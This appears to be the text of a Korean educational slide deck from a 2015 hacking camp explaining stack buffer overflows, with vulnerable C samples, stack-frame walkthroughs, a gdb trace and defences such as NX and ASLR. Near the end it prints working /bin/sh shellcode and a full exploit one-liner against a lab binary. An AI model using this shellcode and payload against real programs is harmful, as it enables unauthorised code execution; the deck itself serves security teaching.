74
Buffer Overflow 공공공 공공 공공공 2015.02.15 제 11 제 제제제제

Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

Embed Size (px)

DESCRIPTION

Who am I? 이름: 송치현 나이: 0x17 페북: http://fb.com/ian0371 이메일: [email protected]

Citation preview

Page 1: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

Buffer Overflow 공격의 이해송치현

2015.02.15제 11 회 해킹캠프

Page 2: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

2

Who am I?• 이름 : 송치현• 나이 : 0x17• 페북 : http://fb.com/ian0371• 이메일 : [email protected]

Page 3: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

INDEX

3

1. Buffer Overflow 개념잡기2. 배경지식3. Buffer Overflow 공격 과정4. Buffer Overflow 방어

Page 4: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

4

비밀번호에 스페이스바 연타 !!!!!!

Page 5: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

5

Buffer Overflow 개념잡기

데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것

Page 6: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

6

Buffer Overflow 개념잡기#include <stdio.h>#include <string.h>

int main(void) { int auth = 0; char passwd[16]; printf("Enter the password: "); gets(passwd); // VULNERABLE

if(strcmp(passwd, "SECRET_CODE") == 0) auth = 1;

if(auth) printf("Success!\n"); else printf("Fail\n");}

Page 7: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

7

Buffer Overflow 개념잡기

Page 8: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

8

Buffer Overflow 개념잡기

WHY???

Page 9: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

9

Buffer Overflow 개념잡기

데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것경계를 체크하지 않는 gets() 때문에(gets 함수는 버퍼의 크기를 모름 )

Page 10: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

10

Buffer Overflow 개념잡기

데이터를 버퍼에 저장할 때 ,버퍼의 경계를 넘어 주변 메모리를 덮어쓰는 것char passwd[16];크기 16 짜리 버퍼에 많은 글자를 저장하면서

int auth;주변에 있는 변수 auth 의 값이 바뀐 것 !

Page 11: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

11

Buffer Overflow 개념잡기

값을 더 넣어볼까… ?!

Page 12: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

12

Buffer Overflow 개념잡기

Windows

?

Page 13: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

13

Buffer Overflow 개념잡기

Linux

???

Page 14: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

14

Buffer Overflow 개념잡기

Crash 가 나고 프로그램이 종료된다 !왜 그럴까 ?

Page 15: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

15

배경지식

• 프로세스 구조

Code (Text)

Data

Stack0xbfffffff

0x00000000

StackGrowth

MemoryGrowth

Page 16: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

16

배경지식

Code

Data

Stack0xbfffffff

0x00000000

Stack: 지역변수 , 함수 인자 , 환경 변수 등Data: 전역변수 , 동적 할당된 변수 (Heap)

Code: 어셈블리 코드

Page 17: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

17

배경지식

Code

Data

Stack

ChromeCode

Data

Stack

ALSongCode

Data

Stack

Skype

Code

Data

Stack

LoL

Page 18: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

18

배경지식

• AT&T 방식 어셈블리 syntax- Intel 방식과 src 와 des 가 정반대

Intel AT&T

mov des, src mov src, des

mov eax, ebx movl %ebx, %eax

mov ebx, 0ffh movl $0xff, %ebx

add esp, 4 addl $4, %esp

Page 19: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

19

배경지식

• Little Endian 표기법 - 하위 Byte 를 하위메모리에 저장 - 대부분의 x86 에서 사용

Page 20: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

20

배경지식

버퍼에 ABCDEFGHIJKL 를 넣으면

Page 21: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

21

배경지식

• 스택 프레임 (Stack Frame) : 어떤 절차 ( 또는 함수 ) 의 호출에 따라서 그와 관계되는 모든 데이터를 저장해 두는 스택 영역

Page 22: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

22

배경지식argument2argument1

RET addressSFP

main var1main var2

………

argument1RET address

SFPfunc1 var1func1 var2

…RET address

SFPfunc2 var1

StackGrowth

main 의Stack Frame

func1 의Stack Frame

func2 의Stack Frame

Page 23: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

23

배경지식

• EBP(Base Pointer)- 스택 프레임의 시작점 ( 스택의 맨 밑 )- 함수를 Call 할 때 변함- 프레임 포인터 (FP) 라고도 불림

Page 24: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

24

배경지식argument2argument1

RET addressSFP

main var1main var2

………

argument1RET address

SFPfunc1 var1func1 var2

…RET address

SFPfunc2 var1

StackGrowth

main 의Stack Frame

func1 의Stack Frame

func2 의Stack Frame

EBP

EBP

EBP

Page 25: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

25

배경지식

• ESP(Stack Pointer)- 스택 프레임의 마지막 ( 스택의 맨 위 )- sub, add, push, pop 등으로 변함

Page 26: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

26

배경지식argument2argument1

RET addressSFP

main var1main var2

………

main var4

StackGrowth

main 의Stack Frame

EBP

ESP

push %ebp

Page 27: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

27

배경지식argument2argument1

RET addressSFP

main var1main var2

………

main var4ebp1

StackGrowth

main 의Stack Frame

EBP

ESP

pop %eax

Page 28: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

28

배경지식argument2argument1

RET addressSFP

main var1main var2

………

main var4

StackGrowth

main 의Stack Frame

EBP

ESP

sub$0x8,%esp

Page 29: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

29

배경지식argument2argument1

RET addressSFP

main var1main var2

………

main var4

StackGrowth

main 의Stack Frame

EBP

ESP

Page 30: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

30

배경지식

• EIP(Instruction Pointer)- PC(Program Counter)- 다음에 실행될 명령어의 주소

EIP 를 우리가 원하는 방향으로 조작한다면 ? 원하는 코드 실행

Page 31: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

31

배경지식

• 함수의 시작 & 스택 프레임 생성(Prologue)

main: call func1 … # return addressfunc1: push %ebp # main 의 ebp 값 저장 mov %esp, %ebp # ebp 를 esp 로 내림

Page 32: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

32

배경지식argument2argument1

RET addressSFP

main var1main var2

EBP

argument2argument1

RET addressSFP

main var1main var2

RET addressESP

call func1

EBP

ESP

Page 33: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

33

배경지식argument2argument1

RET addressSFP

main var1main var2

RET address

EBP

argument2argument1

RET addressSFP

main var1main var2

RET addressSFP

ESP

push %ebp

EBP

ESP

Page 34: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

34

배경지식argument2argument1

RET addressSFP

main var1main var2

RET addressSFP

EBP

argument2argument1

RET addressSFP

main var1main var2

RET addressSFPES

P

mov %esp, %ebp

EBPESP

Page 35: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

35

배경지식

• 함수의 끝 & 스택 프레임 해제 (Epilogue)func1: leave # 스택 프레임 복구 !!! # (mov %ebp, %esp; pop %ebp) ret # pop %eip

Page 36: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

36

배경지식argument2argument1

RET addressSFP

main var1main var2

RET addressSFP

func1 var1func1 var2func1 var3

argument2argument1

RET addressSFP

main var1main var2

RET addressSFPEB

P

leave(mov %ebp, %esp)

EBPESPES

P

Page 37: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

37

배경지식argument2argument1

RET addressSFP

main var1main var2

RET addressSFP

argument2argument1

RET addressSFP

main var1main var2

RET addressEBPESP leave(pop %ebp)

EBP

ESP

Page 38: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

38

배경지식argument2argument1

RET addressSFP

main var1main var2

RET address

argument2argument1

RET addressSFP

main var1main var2

ESP

ret(pop %eip)

EBPESP

EBP

함수를 호출하기 전 스택 프레임과 동일

Page 39: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

39

Buffer Overflow 공격 과정#include <stdio.h>#include <string.h>int func1(int a, int b) { char buf[16]; gets(buf); printf("Hello, %s!\n", buf); return 1;}int main(void) { func1(1, 5);}

Page 40: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

40

Buffer Overflow 공격 과정(gdb) disas main 0x08048478 <+0>: push %ebp 0x08048479 <+1>: mov %esp,%ebp 0x0804847b <+3>: sub $0x8,%esp 0x0804847e <+6>: movl $0x5,0x4(%esp)

0x08048486 <+14>: movl $0x1,(%esp) 0x0804848d <+21>: call 0x804844d<func1>

0x08048492 <+26>: leave 0x08048493 <+27>: ret

Page 41: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

41

Buffer Overflow 공격 과정(gdb) disas func1 0x0804844d <+0>: push %ebp 0x0804844e <+1>: mov %esp,%ebp 0x08048450 <+3>: sub $0x18,%esp 0x08048453 <+6>: lea -0x10(%ebp),%eax 0x08048456 <+9>: mov %eax,(%esp) 0x08048459 <+12>: call 0x8048320 <gets@plt> 0x0804845e <+17>: lea -0x10(%ebp),%eax 0x08048461 <+20>: mov %eax,0x4(%esp) 0x08048465 <+24>: movl $0x8048530,(%esp) 0x0804846c <+31>: call 0x8048310 <printf@-

plt> 0x08048471 <+36>: mov $0x1,%eax 0x08048476 <+41>: leave 0x08048477 <+42>: ret

Page 42: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

42

Buffer Overflow 공격 과정

main 실행 전ENVIRONMENT:argc, *argv[] 등

0xb7e25a83:__libc_start_main

EBP

EBP: 0x00000000ESP: 0xbfffd58cEIP: 0x08048478

ENVIRONMENT……

0xb7e25a83 (ret)

0xbfff????

0xbfffd58c ESP

Page 43: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

43

Buffer Overflow 공격 과정

0x08048478<main+0>push %ebp

0x08048479<main+1>mov %esp,%ebp EBP

EBP: 0x00000000ESP: 0xbfffd58cEIP: 0x08048478

ENVIRONMENT……

0xb7e25a83 (ret)

0xbfff????

0xbfffd58c ESP

Page 44: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

44

Buffer Overflow 공격 과정

0x08048479<main+1>mov %esp,%ebp

0x0804847b<main+3>sub $0x8,%esp EBP

EBP: 0x00000000ESP: 0xbfffd588EIP: 0x08048479

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)

0xbfff????

0xbfffd588 ESP

Page 45: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

45

Buffer Overflow 공격 과정

0x0804847b<main+3>sub $0x8,%esp

0x0804847e<main+6>movl $0x5,0x4(%esp)

EBP: 0xbfffd588ESP: 0xbfffd588EIP: 0x0804847b

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)

0xbfff????

0xbfffd588 EBPESP

Page 46: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

46

Buffer Overflow 공격 과정

0x0804847e<main+6>movl $0x5,0x4(%esp)

0x08048486<main+14>movl $0x1,(%esp)

EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x0804847e

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)

0xbfff????

0xbfffd580

EBP

ESP

Page 47: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

47

Buffer Overflow 공격 과정

0x08048486<main+14>movl $0x1,(%esp)

0x0804848d<main+21>call 0x804844d <func1>

EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048486

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x00000005

0xbfff????

0xbfffd580

EBP

ESP

Page 48: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

48

Buffer Overflow 공격 과정

0x0804848d<main+21>call 0x804844d <func1>

0x0804844d<func1+0>push %ebp

EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x0804848d

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x00000001

0xbfff????

0xbfffd580

EBP

ESP

Page 49: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

49

Buffer Overflow 공격 과정

0x0804844d<func1+0>push %ebp

0x0804844e<func1+1>mov %esp,%ebp

EBP: 0xbfffd588ESP: 0xbfffd57cEIP: 0x0804844d

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x08048492

0xbfff????

0xbfffd57c

EBP

ESP

Page 50: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

50

Buffer Overflow 공격 과정

0x0804844e<func1+1>mov %esp,%ebp

0x08048450<func1+3>sub $0x18,%esp

EBP: 0xbfffd588ESP: 0xbfffd578EIP: 0x0804844e

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)

0xbfff????

0xbfffd578

EBP

ESP

Page 51: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

51

Buffer Overflow 공격 과정

0x08048450<func1+3>sub $0x18,%esp

0x08048453<func1+6>lea -0x10(%ebp),%eax

EBP: 0xbfffd578ESP: 0xbfffd578EIP: 0x08048450

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)

0xbfff????

0xbfffd578 EBPESP

Page 52: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

52

Buffer Overflow 공격 과정

0x08048453<func1+6>lea -0x10(%ebp),%eaxEBP-0x10: buf

0x08048456<func1+9>mov %eax,(%esp)

EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048453

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)

0xbfff????

0xbfffd578 EBP

ESP

Page 53: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

53

Buffer Overflow 공격 과정

0x08048456<func1+9>mov %eax,(%esp)

0x08048459<func1+12>call 0x8048320<gets@plt>

EAX: 0xbfffd568EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048456

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)

0xbfff????

0xbfffd578 EBP

ESP

Page 54: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

54

Buffer Overflow 공격 과정

0x08048459<func1+12>call 0x8048320<gets@plt>

0x0804845e<func1+17>lea -0x10(%ebp),%eax

EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048459

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)

0xbfffd568

0xbfff????

0xbfffd578 EBP

ESP

Page 55: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

55

Buffer Overflow 공격 과정

EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x0804845e

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)0x004141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd578 EBP

ESP

Page 56: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

56

Buffer Overflow 공격 과정

0x08048461 <+20>: mov %eax,0x4(%esp)0x08048465 <+24>: movl $0x8048530,(%esp)0x0804846c <+31>: call 0x8048310 <printf@plt>printf 로 출력하는 과정 !

Page 57: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

57

Buffer Overflow 공격 과정

0x08048476<func1+41>leave

0x08048477<func1+42>ret

EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048476

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)0x004141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd578 EBP

ESP

Page 58: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

58

Buffer Overflow 공격 과정

0x08048477<func1+42>ret

0x08048492<main+26>leave

EBP: 0xbfffd588ESP: 0xbfffd57cEIP: 0x08048477

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd588

0xbfffd57c ESP

EBP

Page 59: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

59

Buffer Overflow 공격 과정

0x08048492<main+26>leave

0x08048493<main+27>ret

EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048492

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd588

0xbfffd580 ESP

EBP

Page 60: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

60

Buffer Overflow 공격 과정

0x08048493<main+27>ret

0xb7e25a83 로 return

EBP: 0xbfffd588ESP: 0xbfffd580EIP: 0x08048493

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd5880x004141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd588

0xbfffd580

ESP

EBP

Page 61: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

61

Buffer Overflow 공격 과정

• EBP 는 이전 스택 프레임의 EBP 를 가리킴(Saved Frame Pointer)

• Return addres 는 EBP+4 에 존재 !!

Page 62: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

62

Buffer Overflow 공격 과정

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x080484920xbfffd588

(SFP)0x004141410x414141410x414141410x41414141

0xbfffd568

EBP

ESP

정상적인 inputENVIRONMENT

……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x414141410x41414141

(SFP)0x414141410x414141410x414141410x41414141

0xbfffd568

EBP

ESP

비정상적인 input

Page 63: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

63

Buffer Overflow 공격 과정

0x08048476<func1+41>leave

0x08048477<func1+42>ret

EBP: 0xbfffd578ESP: 0xbfffd560EIP: 0x08048476

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x414141410x41414141

(SFP)0x414141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd578 EBP

ESP

Page 64: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

64

Buffer Overflow 공격 과정

0x08048477<func1+42>ret

EBP: 0x41414141ESP: 0xbfffd57cEIP: 0x08048477

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x414141410x41414141

(SFP)0x414141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd578ESP

Page 65: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

65

Buffer Overflow 공격 과정

0x41414141…

CRASH!!!!

EBP: 0x41414141ESP: 0xbfffd57cEIP: 0x41414141

ENVIRONMENT……

0xb7e25a830x00000000

(SFP)0x000000050x000000010x414141410x41414141

(SFP)0x414141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd578

ESP

Page 66: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

66

Buffer Overflow 공격 과정

• EIP 를 잘 조작해서 우리가 원하는 코드를 실행할 수 있다 !!!

main func1 _exit

shell code

Normal Execution Flow

Abnormal Execution Flow

Page 67: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

67

Buffer Overflow 공격 과정

• Shellcode - shell 을 실행시키는 기계어코드 (opcode) - http://shell-storm.org/shellcode/ - 25byte shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 - NOP(No OPeration): \x90

Page 68: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

68

Buffer Overflow 공격 과정

• Payload 구성메모리 구조는오른쪽 그림과 같다 .

buf[16]: 16byte SFP: 4byte RET: 4byte NOP + shell-code

AAAAAAAAAAAAAAAA

BBBB 0xbfffd580 …

ENVIRONMENT……

shellcode…

0x909090900x909090900xbfffd5800x42424242

(SFP)0x414141410x414141410x414141410x41414141

0xbfffd568

0xbfff????

0xbfffd580

Page 69: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

69

Buffer Overflow 공격 과정

• Payload 구성(python -c 'print "A"*16 + "B"*4 + "\x80\xd5\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./test

Page 70: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

70

Buffer Overflow 공격 과정

Page 71: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

71

Buffer Overflow 방어

• NX (Non-Executable Stack) - Stack 에 실행권한을 없앰으로써 Stack 에 있는 코드는 실행을 안 함

Page 72: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

72

Buffer Overflow 방어

• ASLR (Address Space Layout Ran-domization)

- Stack 의 주소를 매 실행마다 바꿈

No ASLR ASLR

Page 73: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

73

Buffer Overflow 방어

• 취약한 함수 사용 X - gets, scanf, strcpy, sprintf 등…

Page 74: Buffer Overflow 공격의 이해 송치현 2015.02.15 제 11회 해킹캠프

THANK YOU!!!